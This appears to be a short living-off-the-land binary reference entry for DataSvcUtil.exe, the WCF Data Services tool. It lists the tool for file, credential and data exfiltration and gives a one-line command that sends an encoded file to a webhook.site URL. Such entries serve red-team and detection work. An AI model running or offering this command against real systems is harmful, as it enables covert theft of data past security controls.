DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
Upload file, credentials or data exfiltration in general
DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile